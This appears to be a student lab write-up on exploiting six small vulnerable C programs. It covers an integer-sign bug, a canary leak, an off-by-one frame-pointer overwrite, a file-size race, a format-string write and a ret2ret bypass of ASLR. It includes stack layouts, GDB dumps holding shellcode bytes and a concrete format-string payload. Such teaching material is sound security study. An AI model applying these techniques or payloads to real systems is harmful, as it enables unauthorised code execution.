Question 1: Remus
No writeup required for this question only.
Question 2: Spica
Main Idea
The code is vulnerable because a signed int8_t size is used and passed to fread() when it expects a size_t __size unsigned argument. This signed/unsigned vulnerability enables the attacker to bypass the size check on line 19. We pass the SHELLCODE in the message and overwrite the RIP of display() with the address of the SHELLCODE.
Magic Numbers
We first determined the address of msg (0xffffd998) and RIP of display() (0xffffda2c), done by using GDB with breakpoint on line 18.
RIP is 148 bytes away from msg (0xffffda2c - 0xffffd998).
(gdb) i f
Stack level 0, frame at 0xffffda30:
eip = 0x8049235 in display (telemetry.c:18); saved eip = 0x80492bd
called by frame at 0xffffda60
source language c.
Arglist at 0xffffda28, args: path=0xffffdbeb "navigation"
Locals at 0xffffda28, Previous frame's sp is 0xffffda30
Saved registers:
ebp at 0xffffda28, eip at 0xffffda2c
(gdb) info locals
msg = '\000' <repeats 127 times>
size = 0 '\000'
file = 0x804e000
bytes_read = 0
(gdb) p & msg
$2 = (char (*)[128]) 0xffffd998
(gdb) p & size
$3 = (int8_t *) 0xffffd997 ""
(gdb) p &file
$4 = (FILE **) 0xffffda1c
(gdb) p &bytes_read
$6 = (size_t *) 0xffffda18
(gdb) x/38wx msg
0xffffd998: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd9a8: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd9b8: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd9c8: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd9d8: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd9e8: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd9f8: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffda08: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffda18: 0x00000000 0x0804e000 0x00000000 0xffffdfe2
0xffffda28: 0xffffda48 0x080492bd
Exploit Structure
Stack Diagram:
-----------------------------
0xffffda30 calibrate()
-----------------------------
0xffffda2c 4 RIP
0xffffda28 4 SFP
? ? PADDING?
0xffffda1c 4 FILE* file
0xffffda18 4 size_t bytes_read
0xffffd998 128 char msg[128] (~0xffffda14)
0xffffd997 1 int8_t size
- Since the SHELLCODE fits in the message, we insert it at the front of the message (after
bytes_read). - We then pad with (148 - SHELLCODE size) dummy characters to reach
RIP - Then overwrite
RIPwith the SHELLCODE address (&msg: 0xffffd998) - Finally at the front of the message, we put the desired number of bytes to overwrite: (148 + 4) =
152. Because152is/x98in hex, it is a negative number when treated as a signed number and the size check on line 19 will pass.
Exploit GDB Output
(gdb) x/38wx msg
0xffffd998: 0xcd58326a 0x89c38980 0x58476ac1 0xc03180cd
0xffffd9a8: 0x692d6850 0xe2896969 0x6d2b6850 0xe1896d6d
0xffffd9b8: 0x2f2f6850 0x2f686873 0x896e6962 0x515250e3
0xffffd9c8: 0x31e18953 0xcd0bb0d2 0x38383880 0x38383838
0xffffd9d8: 0x38383838 0x38383838 0x38383838 0x38383838
0xffffd9e8: 0x38383838 0x38383838 0x38383838 0x38383838
0xffffd9f8: 0x38383838 0x38383838 0x38383838 0x38383838
0xffffda08: 0x38383838 0x38383838 0x38383838 0x38383838
0xffffda18: 0x00000099 0x38383838 0x38383838 0x38383838
0xffffda28: 0x38383838 0xffffd998
After 57 bytes of the SHELLCODE and 91 bytes of garbage, the EIP is overwritten by 0xffffd998 which points back to the SHELLCODE.
Question 3: Polaris
Main Idea
The code is vulnerable because the while loop in dehexify() does not do any bounds checking and operates on subsequent memory once it sees a certain pattern ‘\x’. This enables attackers to end the input with that pattern and gain access beyond c.buffer, leaking the canary. We obtain the canary and send a second input to write the correct canary value followed by overwriting RIP and inserting the SHELLCODE right after.
Magic Numbers
We first determine the address of c.buffer (0xffffda2c) and the RIP of dehexify() (0xffffda4c) using GDB with breakpoint at line 22.
(gdb) b 22
Breakpoint 1 at 0x804922e: file dehexify.c, line 22.
(gdb) r
Starting program: /home/polaris/dehexify < /tmp/tmp.fJdhcD > /tmp/tmp.bgakgB
Breakpoint 1, dehexify () at dehexify.c:22
22 gets(c.buffer);
(gdb) i f
Stack level 0, frame at 0xffffda50:
eip = 0x804922e in dehexify (dehexify.c:22); saved eip = 0x8049341
called by frame at 0xffffda70
source language c.
Arglist at 0xffffda48, args:
Locals at 0xffffda48, Previous frame's sp is 0xffffda50
Saved registers:
ebp at 0xffffda48, eip at 0xffffda4c
(gdb) p &c.buffer
$2 = (char (*)[16]) 0xffffda2c
Then we use the same breakpoint but compare the program across different run instances to find the address of the canary (0xffffda3c)
(gdb) x/9wx c.buffer
0xffffda2c: 0x00000000 0x00000000 0xffffdfe1 0x0804cfe8
0xffffda3c: 0x4ab0c01a 0x0804d020 0x00000000 0xffffda58
0xffffda4c: 0x08049341
(gdb) x/9wx c.buffer
0xffffda2c: 0x00000000 0x00000000 0xffffdfe1 0x0804cfe8
0xffffda3c: 0x14563383 0x0804d020 0x00000000 0xffffda58
0xffffda4c: 0x08049341
It’s the only address with value changing across runs under same conditions.
Exploit Structure
- First we send a string with
12junk characters and"\\x"at the end to trick the program to print out the canary - Then we forge a payload to overwrite the canary and
RIP: first with15junk characters and'\x00'to fillc.buffer(null-terminating to avoid the while loop overwriting our changes) - Followed by the canary value that we got from the last output
- Followed by
12junk characters to reachRIP(0xffffda4c), then overwriteRIPwith the address of SHELLCODE (0xffffda50immediately afterRIP)
Exploit GDB Output
Breakpoint 1, dehexify () at dehexify.c:22
22 gets(c.buffer);
(gdb) x/30wx c.buffer
0xffffda2c: 0x04d020d2 0x48480008 0x48484848 0x0804cfe8
0xffffda3c: 0xd2eb804e 0x0804d020 0x00000000 0xffffda58
0xffffda4c: 0x08049341 0x00000000 0xffffda70 0xffffdaec
0xffffda5c: 0x0804952a 0x00000001 0x08049329 0x0804cfe8
0xffffda6c: 0x0804952a 0x00000001 0xffffdae4 0xffffdaec
0xffffda7c: 0x0804b000 0x00000000 0x00000000 0x08049508
0xffffda8c: 0x0804cfe8 0x00000000 0x00000000 0x00000000
0xffffda9c: 0x08049097 0x08049329
(gdb) n
24 while (c.buffer[i]) {
(gdb) x/30wx c.buffer
0xffffda2c: 0x48484848 0x48484848 0x48484848 0x00484848
0xffffda3c: 0xd2eb804e 0x48484848 0x48484848 0x48484848
0xffffda4c: 0xffffda50 0xdb31c031 0xd231c931 0xb05b32eb
0xffffda5c: 0xcdc93105 0xebc68980 0x3101b006 0x8980cddb
0xffffda6c: 0x8303b0f3 0x0c8d01ec 0xcd01b224 0x39db3180
0xffffda7c: 0xb0e674c3 0xb202b304 0x8380cd01 0xdfeb01c4
0xffffda8c: 0xffffc9e8 0x414552ff 0x00454d44 0x00000000
0xffffda9c: 0x08049097 0x08049329
Question 4: Vega
Main Idea
The code is vulnerable because of an off-by-one error at line 8. buf is only 64 bytes, meaning index 0 ~ 63, but the condition in the for loop goes up to 64. This allows up to overwrite 1 byte above buf, which happens to be the SFP of invoke().
We overwrite the SFP to point to buf instead, and insert the address of the SHELLCODE at 4 bytes above.
When invoke() returns, ESP of the caller (dispatch()) is now the forged SFP. Finally when dispatch() returns, it treats the SHELLCODE address that we inserted as the new EIP.
Magic Numbers
We determine the address of the SHELLCODE (0xffffdf98) using GDB with breakpoint on line 32.
(SHELLCODE is inserted from egg as an environment variable)
(gdb) b 32
Breakpoint 1 at 0x8049290: file flipper.c, line 32.
(gdb) r
Starting program: /home/vega/flipper $'bbbb\274\377\337\337bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\260'
Breakpoint 1, main (argc=2, argv=0xffffda64) at flipper.c:32
32 dispatch(argv[1]);
(gdb) p environ[4]
$1 = 0xffffdf98 "EGG=j2X̀\211É\301jGX̀1\300Ph-iii\211\342Ph+mmm\211\341Ph//shh/bin\211\343PRQS\211\341\061Ұ\v̀"
Then determine the adresses of buf (0xffffd990) and SFP (0xffffd9d0) of invoke().
(gdb) b 19
Breakpoint 1 at 0x8049251: file flipper.c, line 19.
(gdb) r
Starting program: /home/vega/flipper $'bbbb\274\377\337\337bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\260'
Breakpoint 1, invoke (in=0xffffdb7f "bbbb\274\377\337\337", 'b' <repeats 56 times>, "\260") at flipper.c:19
19 flip(buf, in);
(gdb) i f
Stack level 0, frame at 0xffffd9d8:
eip = 0x8049251 in invoke (flipper.c:19); saved eip = 0x804927a
called by frame at 0xffffd9e4
source language c.
Arglist at 0xffffd9d0, args: in=0xffffdb7f "bbbb\274\377\337\337", 'b' <repeats 56 times>, "\260"
Locals at 0xffffd9d0, Previous frame's sp is 0xffffd9d8
Saved registers:
ebp at 0xffffd9d0, eip at 0xffffd9d4
(gdb) p &buf
$1 = (char (*)[64]) 0xffffd990
(gdb) x/68bx buf
0xffffd990: 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00
0xffffd998: 0x00 0x00 0x00 0x00 0x4b 0xdb 0xff 0xff
0xffffd9a0: 0x02 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffd9a8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffd9b0: 0x00 0x00 0x00 0x00 0xe5 0xdf 0xff 0xff
0xffffd9b8: 0x40 0xc5 0xff 0xf7 0x00 0xc0 0xff 0xf7
0xffffd9c0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffd9c8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffd9d0: 0xdc 0xd9 0xff 0xff
Exploit Structure
- We first put
4dummy bytes to serve as the fakeSFP. - Then we insert the SHELLCODE address
0xffffdf9c(0xffffdf98 + 4to skip “EGG=”) - Insert
(65 - 4 - 4 - 1 =) 56dummy characters to reach the lsb ofSFPofinvoke() - Overwrite the lsb of
SFPwith lsb of our forgedSFP:0x90. - Because everything we insert from
arggets XORd with0x20when copying tobuf, we XOR our final payload with0x20in advance so it gets decoded.
Exploit GDB Output
(gdb) x/68bx buf
0xffffd990: 0x42 0x42 0x42 0x42 0x9c 0xdf 0xff 0xff
0xffffd998: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd9a0: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd9a8: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd9b0: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd9b8: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd9c0: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd9c8: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd9d0: 0x90 0xd9 0xff 0xff
Question 5: Deneb
Main Idea
The code is vulnerable because of a TOCTTOU race condition. orbit.c prints a message asking for user input AFTER the file size checking, which allows us to know precisely when we can modify the file beyond the allowed size. We put the malicious SHELLCODE with forged EIP in the file for the program to read and overwrite RIP.
Magic Numbers
We determine the address of buf (0xffffd9d8) and readfile()’s RIP (0xffffda6c ) by GDB with breakpoint at line 46.
(gdb) b 46
Breakpoint 1 at 0x8049311: file orbit.c, line 47.
(gdb) r
Starting program: /home/deneb/orbit < /tmp/tmp.JmMnlE > /tmp/tmp.Elhidg
Breakpoint 1, read_file () at orbit.c:47
47 bytes_read = read(fd, buf, bytes_to_read);
(gdb) i f
Stack level 0, frame at 0xffffda70:
eip = 0x8049311 in read_file (orbit.c:47); saved eip = 0x804939c
called by frame at 0xffffda80
source language c.
Arglist at 0xffffda68, args:
Locals at 0xffffda68, Previous frame's sp is 0xffffda70
Saved registers:
ebp at 0xffffda68, eip at 0xffffda6c
(gdb) p &buf
$1 = (char (*)[128]) 0xffffd9d8
(gdb) p &bytes_to_read
$2 = (uint32_t *) 0xffffd9d4
(gdb) x/57wx 0xffffd9d4
0xffffd9d4: 0x000000e0 0x00000020 0x00000008 0x00001000
0xffffd9e4: 0x00000000 0x00000000 0x0804904a 0x00000000
0xffffd9f4: 0x000003ed 0x000003ed 0x000003ed 0x000003ed
0xffffda04: 0xffffdbdb 0x0fcbfbfd 0x00000064 0x00000000
0xffffda14: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffda24: 0x00000001 0x00000000 0xffffdbcb 0x00000002
0xffffda34: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffda44: 0xffffdfe6 0xf7ffc540 0xf7ffc000 0x00000000
0xffffda54: 0x00000000 0x00000000 0x00000003 0x00000000
0xffffda64: 0x00000000 0xffffda78 0x0804939c 0x00000001
0xffffda74: 0x08049391 0xffffdafc 0x0804956a 0x00000001
0xffffda84: 0xffffdaf4 0xffffdafc 0x080510a1 0x00000000
0xffffda94: 0x00000000 0x08049548 0x08053fe8 0x00000000
0xffffdaa4: 0x00000000 0x00000000 0x08049097 0x08049391
0xffffdab4: 0x00000001
Exploit Structure
-----------------------------
0xffffda70 read_file()
-----------------------------
0xffffda6c 4 RIP
0xffffda68 4 SFP
...
0xffffd9d8 128 char* buf[128]
0xffffd9d4 4 uint32_t bytes_to_read
- We forge the payload: starting with
(0xffffda6c - 0xffffd9d8 =) 148bytes of garbage to reach theRIPofread_file() - Followed by the forged
EIP(0xffffda70) pointing to the SHELLCODE (immediately afterRIP) - Followed by the SHELLCODE
- Write the above payload to the file RIGHT AFTER the program prompts for number of bytes to read
- Respond to stdin with the size of the payload
Exploit GDB Output
(gdb) x/57wx 0xffffd9d4
0xffffd9d4: 0x000000e0 0x42424242 0x42424242 0x42424242
0xffffd9e4: 0x42424242 0x42424242 0x42424242 0x42424242
0xffffd9f4: 0x42424242 0x42424242 0x42424242 0x42424242
0xffffda04: 0x42424242 0x42424242 0x42424242 0x42424242
0xffffda14: 0x42424242 0x42424242 0x42424242 0x42424242
0xffffda24: 0x42424242 0x42424242 0x42424242 0x42424242
0xffffda34: 0x42424242 0x42424242 0x42424242 0x42424242
0xffffda44: 0x42424242 0x42424242 0x42424242 0x42424242
0xffffda54: 0x42424242 0x000000e0 0x42424242 0x42424242
0xffffda64: 0x42424242 0x42424242 0xffffda70 0xdb31c031
0xffffda74: 0xd231c931 0xb05b32eb 0xcdc93105 0xebc68980
0xffffda84: 0x3101b006 0x8980cddb 0x8303b0f3 0x0c8d01ec
0xffffda94: 0xcd01b224 0x39db3180 0xb0e674c3 0xb202b304
0xffffdaa4: 0x8380cd01 0xdfeb01c4 0xffffc9e8 0x414552ff
0xffffdab4: 0x00454d44
Question 6: Antares
Main Idea
The code is vulnerable because of a format string vulnerability with printf(). It prints out the user input without sanitization, allowing attackers to input format modifiers in a certain way to gain arbitrary memory reading and limited memory overwriting. We input a specially crafted payload to climb the stack to reach buf where we have write access and overwrite the RIP of main().
Magic Numbers
We determine the address of SHELLCODE (0xffffdbb8), buf (0xffffd990), and printf()’s RIP (0xffffd94c) using GDB with breakpoints:
Reading symbols from /home/antares/calibrate...
(gdb) b 18
Breakpoint 1 at 0x8049280: file calibrate.c, line 18.
(gdb) r
Starting program: /home/antares/calibrate $'j2X̀\211É\301jGX̀1\300Ph-iii\211\342Ph+mmm\211\341Ph//shh/bin\211\343PRQS\211\3411Ұ\v̀' < /tmp/tmp.LJANIM
Breakpoint 1, main (argc=2, argv=0xffffdaa4) at calibrate.c:18
18 calibrate(buf);
(gdb) i f
Stack level 0, frame at 0xffffda30:
eip = 0x8049280 in main (calibrate.c:18); saved eip = 0x8049466
source language c.
Arglist at 0xffffda18, args: argc=2, argv=0xffffdaa4
Locals at 0xffffda18, Previous frame's sp is 0xffffda30
Saved registers:
ebp at 0xffffda18, eip at 0xffffda2c
(gdb) p &argc
$4 = (int *) 0xffffda30
(gdb) p argv
$1 = (char **) 0xffffdaa4
(gdb) p argv[0]
$2 = 0xffffdba0 "/home/antares/calibrate"
(gdb) p argv[1]
$3 = 0xffffdbb8 "j2X̀\211É\301jGX̀1\300Ph-iii\211\342Ph+mmm\211\341Ph//shh/bin\211\343PRQS\211\341\061Ұ\v̀"
(gdb) x/57b argv[1]
0xffffdbb8: 0x6a 0x32 0x58 0xcd 0x80 0x89 0xc3 0x89
0xffffdbc0: 0xc1 0x6a 0x47 0x58 0xcd 0x80 0x31 0xc0
0xffffdbc8: 0x50 0x68 0x2d 0x69 0x69 0x69 0x89 0xe2
0xffffdbd0: 0x50 0x68 0x2b 0x6d 0x6d 0x6d 0x89 0xe1
0xffffdbd8: 0x50 0x68 0x2f 0x2f 0x73 0x68 0x68 0x2f
0xffffdbe0: 0x62 0x69 0x6e 0x89 0xe3 0x50 0x52 0x51
0xffffdbe8: 0x53 0x89 0xe1 0x31 0xd2 0xb0 0x0b 0xcd
0xffffdbf0: 0x80
(gdb) b 10
(gdb) c
(gdb) i f
Stack level 0, frame at 0xffffd980:
eip = 0x8049224 in calibrate (calibrate.c:10); saved eip = 0x804928f
called by frame at 0xffffda30
source language c.
Arglist at 0xffffd978, args: buf=0xffffd990 "AAAA,\332\377\377AAAA.\332\377\377%c%c%c%c%c%c%c%c%c%c%c%c%56220u%hn%9287u%hn\n"
Locals at 0xffffd978, Previous frame's sp is 0xffffd980
Saved registers:
ebp at 0xffffd978, eip at 0xffffd97c
(gdb) s
printf (fmt=0xffffd990 "AAAA,\332\377\377AAAA.\332\377\377%c%c%c%c%c%c%c%c%c%c%c%c%56220u%hn%9287u%hn\n") at src/stdio/printf.c:8
8 src/stdio/printf.c: No such file or directory.
(gdb) i f
Stack level 0, frame at 0xffffd950:
eip = 0x8049abe in printf (src/stdio/printf.c:8); saved eip = 0x804922f
called by frame at 0xffffd980
source language c.
Arglist at 0xffffd948, args: fmt=0xffffd990 "AAAA,\332\377\377AAAA.\332\377\377%c%c%c%c%c%c%c%c%c%c%c%c%56220u%hn%9287u%hn\n"
Locals at 0xffffd948, Previous frame's sp is 0xffffd950
Saved registers:
eip at 0xffffd94c
(gdb) p fmt
$3 = 0xffffd990 "AAAA,\332\377\377AAAA.\332\377\377%c%c%c%c%c%c%c%c%c%c%c%c%56220u%hn%9287u%hn\n"
(gdb) p &fmt
$4 = (const char * restrict *) 0xffffd950
Exploit Structure
0xffffdbb8 57 argv[1] SHELLCODE
...
0xffffda30 4 argc
-----------------------------
0xffffda30 main()
-----------------------------
0xffffda2c 4 RIP
0xffffda28 4 SFP
0xffffda10 ? PADDING?
0xffffd990 128 char* buf (~0xffffda0f)
...
0xffffd980 4 &buf -> 0xffffd990
-----------------------------
0xffffd980 calibrate()
-----------------------------
0xffffd97c 4 RIP
0xffffd978 4 SFP
0xffffd96c 4 FILE *f
? PADDING
0xffffd950 4 &buf:fmt -> 0xffffd990
-----------------------------
0xffffd950 printf()
-----------------------------
0xffffd94c 4 RIP
4 SFP
- Forge the payload: we first insert 4 junk bytes to be consumed by
%_ulater - Insert the address of
RIPofcalibrate()(0xffffd97c)which we want to overwrite (to be consumed by%hn) - Insert 4 junk bytes to be consumed by
%_ulater - Insert the address of the upper two bytes of the
RIP:0xffffd97e(to be consumed by%hn) - Insert
(0xffffd990 - 0xffffd954) / 4junk characters for%cto climb the stack from8bytes aboveprintf()’sRIPup tobuf - Now insert
%_uwith_being the difference between lower half of SHELLCODE address and the current number of printed bytes: SECOND_HALF - (16 + number of junk characters from last step) - Insert %hn to write the lower half of SHELLCODE address (
0xffffdbb8) to lower half ofRIPofcalibrate() - Repeat step 6 now with the upper half of SHELLCODE address
- Repeat step 7 to write upper half of SHELLCODE address to upper half of
RIPofcalibrate()
Exploit GDB Output
(gdb) x 0xffffd97c
0xffffd97c: 0xffffdbb8
RIP of calibrate() has been overwritten to point to the SHELLCODE
Question 7: Rigel
Main Idea
The code is vulnerable for a couple of reasons: the gets() call lets us write to memory arbitrarily, check_canary() directly prints the canary value, and check_aslr() prints the address of printf(), allowing us to locate some adresses despite ASLR. We insert shellcode to buf, maintain the canary, and overwrite the RIP of secure_gets() with address of a ret instruction and lsb of *err_ptr, enabling the ret2ret exploit and let us run the SHELLCODE.
Magic Numbers
We determine the address of buf, canary, RIP of secure_gets(), and the *err_ptr argument. The addresses change on each run, so we only use this information to find out their relative positions and build the stack diagram.
(gdb) b 106
Breakpoint 1 at 0x15ea: file lockdown.c, line 106.
(gdb) r
Starting program: /home/rigel/lockdown < /tmp/tmp.HaDdnh > /tmp/tmp.caHAlI
[Detaching after fork from child process 30675]
[Detaching after fork from child process 30676]
Non-executable pages check failed!
Canary passed: canary val = 0x0afa8584
ASLR passed : printf located at 0xf7f4b0ea
One or more mitigation(s) has failed! Proceed with caution...
Breakpoint 1, secure_gets (err_ptr=0xff8b05c4) at lockdown.c:106
106 gets(buf);
(gdb) x buf
0xff8b048c: 0xf7efe000
(gdb) x/8wx buf + 256
0xff8b058c: 0x0afa8584 0xf7f980e4 0x5657bfa4 0xff8b05d8
0xff8b059c: 0x56579689 0xff8b05c4 0xffffffff 0xf7f5a4a7
(gdb) i f
Stack level 0, frame at 0xff8b05a0:
eip = 0x565795ea in secure_gets (lockdown.c:106); saved eip = 0x56579689
called by frame at 0xff8b05f0
source language c.
Arglist at 0xff8b0598, args: err_ptr=0xff8b05c4
Locals at 0xff8b0598, Previous frame's sp is 0xff8b05a0
Saved registers:
ebx at 0xff8b0594, ebp at 0xff8b0598, eip at 0xff8b059c
(gdb) x err_ptr
0xff8b05c4: 0x00000001
(gdb) x/4wx 0xff8b0598
0xff8b0598: 0xff8b05d8 0x56579689 0xff8b05c4 0xffffffff
(gdb) x/4wx 0xff8b0598 + 8
0xff8b05a0: 0xff8b05c4 0xffffffff 0xf7f5a4a7 0x56579663
(gdb) x buf + 116
0xff8b0500: 0x00000000
We find that the canary is right above buf, err_ptr is right above RIP, and that offsetting buf by 116 bytes seem to match the upper 3 bytes of the address to the upper 3 bytes of address pointed to by err_ptr.
Then we look at the asm code of printf() to find a ret call that will let us pop the stack upwards and enable err_ptr to be treated as the new EIP. We can see it’s offset 41 bytes from printf().
Dump of assembler code for function printf:
0xf7ee40ea <+0>: push %ebx
0xf7ee40eb <+1>: call 0xf7eac774
0xf7ee40f0 <+6>: add $0x4ae98,%ebx
0xf7ee40f6 <+12>: sub $0x8,%esp
0xf7ee40f9 <+15>: lea 0x14(%esp),%eax
0xf7ee40fd <+19>: push %edx
0xf7ee40fe <+20>: push %eax
0xf7ee40ff <+21>: push 0x18(%esp)
0xf7ee4103 <+25>: lea 0x238(%ebx),%eax
0xf7ee4109 <+31>: push %eax
0xf7ee410a <+32>: call 0xf7ee636a <vfprintf>
0xf7ee410f <+37>: add $0x18,%esp
0xf7ee4112 <+40>: pop %ebx
0xf7ee4113 <+41>: ret
End of assembler dump.
Exploit Structure
-----------------------------
? main()
-----------------------------
...
? 4 int *err_ptr
-----------------------------
? secure_gets()
-----------------------------
? 4 RIP
? 4 SFP
? 4 EBX
? 4 PADDING
? 4 CANARY
? 256 char buf[]
? 4 int ret
...
- First receive the output of the mitigation checks and extract the
canaryand address ofprintf() - Forge the payload: first write
256 - len(SHELLCODE)NOPcharacters to bump up our SHELLCODE address - Followed by the SHELLCODE
- Overwrite the
canarywith the correct value - Insert
12NOPcharacters to reachRIPofsecure_gets() - Insert the address of the
retinstruction that we found (address of printf() + 41) - The program will automatically append the null-terminator, overwriting the lsb of
err_ptr. If we’re super lucky, the overwritten address will point to our SHELLCODE; if not, all theNOPs should slide it up the stack anyways.
Exploit GDB Output
Breakpoint 1, secure_gets (err_ptr=0xffc46b94) at lockdown.c:106
106 gets(buf);
(gdb) x/70wx buf
0xffc46a5c: 0xf7e97000 0x8683fbf8 0xf7eef706 0x00000000
0xffc46a6c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffc46a7c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffc46a8c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffc46a9c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffc46aac: 0x00000000 0x00000000 0x00000000 0x00000000
0xffc46abc: 0x00000000 0x00000000 0x00000000 0x00000000
0xffc46acc: 0x00000000 0x00000000 0x00000000 0x00000000
0xffc46adc: 0x00000000 0x00000000 0x00000000 0x10000000
0xffc46aec: 0x00000000 0xf7f310ac 0xf7f30c84 0xf7eef797
0xffc46afc: 0x56558fa4 0xffc46c34 0x00000001 0x56558fa4
0xffc46b0c: 0xf7ef3c96 0x00000000 0xffc46b2c 0x00003fa4
0xffc46b1c: 0x00000000 0x00000358 0x00000218 0x00000000
0xffc46b2c: 0x000003ef 0xffffffff 0x00000000 0x000000cc
0xffc46b3c: 0x00000000 0x00001711 0x00000000 0xf7ef3c4b
0xffc46b4c: 0xf7ef3b59 0x000000cc 0x000003ef 0xffffffff
0xffc46b5c: 0x686d9115 0xf7f310e4 0x56558fa4 0xffc46ba8
0xffc46b6c: 0x56556689 0xffc46b94
(gdb) n
107 printf("%s\n", buf);
(gdb) x/70wx buf
0xffc46a5c: 0x42424242 0x42424242 0x42424242 0x42424242
0xffc46a6c: 0x42424242 0x42424242 0x42424242 0x42424242
0xffc46a7c: 0x42424242 0x42424242 0x42424242 0x42424242
0xffc46a8c: 0x42424242 0x42424242 0x42424242 0x42424242
0xffc46a9c: 0x42424242 0x42424242 0x42424242 0x42424242
0xffc46aac: 0x42424242 0x42424242 0x42424242 0x42424242
0xffc46abc: 0x42424242 0x42424242 0x42424242 0x42424242
0xffc46acc: 0x42424242 0xdb31c031 0xd231c931 0xb05b32eb
0xffc46adc: 0xcdc93105 0xebc68980 0x3101b006 0x8980cddb
0xffc46aec: 0x8303b0f3 0x0c8d01ec 0xcd01b224 0x39db3180
0xffc46afc: 0xb0e674c3 0xb202b304 0x8380cd01 0xdfeb01c4
0xffc46b0c: 0xffffc9e8 0x414552ff 0x00454d44 0x42424242
0xffc46b1c: 0x42424242 0x42424242 0x42424242 0x42424242
0xffc46b2c: 0x42424242 0x42424242 0x42424242 0x42424242
0xffc46b3c: 0x42424242 0x42424242 0x42424242 0x42424242
0xffc46b4c: 0x42424242 0x42424242 0x42424242 0x42424242
0xffc46b5c: 0x686d9115 0x42424242 0x42424242 0x42424242
0xffc46b6c: 0xf7ee4113 0xffc46b00